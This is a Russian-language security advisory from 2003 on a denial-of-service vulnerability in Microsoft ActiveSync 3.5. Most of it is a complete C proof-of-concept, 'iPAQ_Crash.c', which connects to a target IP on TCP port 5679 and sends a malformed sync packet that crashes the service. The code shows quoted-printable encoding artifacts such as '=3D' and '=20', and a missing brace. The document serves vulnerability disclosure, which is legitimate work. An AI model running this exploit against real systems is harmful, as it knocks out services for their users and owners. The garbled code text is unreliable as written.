Дата публикации: | 24.03.2003 |
Всего просмотров: | 1427 |
Опасность: | Низкая |
Наличие исправления: | Нет |
Количество уязвимостей: | 1 |
CVE ID: | Нет данных |
Вектор эксплуатации: | Локальная сеть |
Воздействие: | Отказ в обслуживании |
CWE ID: | Нет данных |
Наличие эксплоита: | Нет данных |
Уязвимые продукты: | Microsoft ActiveSync 3.x |
Описание: | Уязвимость отказа в обслуживании обнаружена в Microsoft ActiveSync. Удаленный пользователь может аварийно нарушить работу программы.
Information Risk Management сообщил, что удаленный пользователь может подключится к службе на 5679 TCP порту и послать некорректный "sync request" пакет, чтобы аварийно завершить работу программы. Уязвимость присутствует внутри функции WideCharToMultiByte(). Уязвимость обнаружена в Microsoft ActiveSync 3.5 (build 12007) /* iPAQ_Crash.c - by Andy Davis*/ /* Strictly for testing purposes only */ /* Compile with Microsoft VC++ */ #include <winsock.h> #include <windows.h> #include <stdio.h> #define ASYNC_PORT 5679 int main(int argc, char **argv) unsigned char sendBuf[] =3D /* Correct Header */ //"\x00\x00\x00\x00" /* Correct start of packet - by removing these 4 bytes= the crash occurs */=20 "\x6e\x00\x00\x00" /* Length of the rest of the packet */=20 "\x24\x00\x00\x00"=20 "\x03\x00\xa3\x2b"=20 "\x11\x0a\x00\x00"=20 "\x00\x00\x00\x00"=20 "\xc3\x1d\xdd\x0c" /* 0xc31ddd0c Device Identifier */=20 "\x00\x00\x00\x00"=20 "\x24\x00\x00\x00" /* 0x24 pointer to "Pocket_PC" */=20 "\x38\x00\x00\x00" /* 0x38 pointer to "PocketPC" */=20 "\x4a\x00\x00\x00" /* 0x4a pointer to "Compaq iPAQ H3800" */ /* "Pocket_PC PocketPC Compaq iPAQ H3800" (in unicode) */ "\x50\x00\x6f\x00\x63\x00\x6b\x00\x65\x00\x74\x00" "\x5f\x00\x50\x00\x43\x00\x00\x00\x50\x00\x6f\x00\x63\x00\x6b\x00" "\x65\x00\x74\x00\x50\x00\x43\x00\x00\x00\x43\x00\x6f\x00\x6d\x00" "\x70\x00\x61\x00\x71\x00\x20\x00\x69\x00\x50\x00\x41\x00\x51\x00" "\x20\x00\x48\x00\x33\x00\x38\x00\x39\x00\x30\x00\x00\x00"; struct sockaddr_in servAddr; int s; WSADATA WSAData; if(WSAStartup (MAKEWORD(1,1), &WSAData) !=3D 0) { printf("WSAStartup failed.\n"); WSACleanup(); exit(1); } if (argc !=3D 2) { printf ("\niPAQ_Crash\n"); printf ("\nUsage: %s <target IP address>\n",argv[0]); exit (1); } servAddr.sin_family =3D AF_INET; servAddr.sin_addr.s_addr =3D inet_addr(argv[1]); servAddr.sin_port =3D htons(ASYNC_PORT); s =3D socket(AF_INET, SOCK_STREAM, 0); connect(s, (struct sockaddr *) &servAddr, sizeof(servAddr)); printf("Sending packet..."); if ( send(s, sendBuf, 118, 0) =3D=3D 0) { printf("Error sending packet...quitting\n\n"); exit (0); } closesocket(s); return(0); |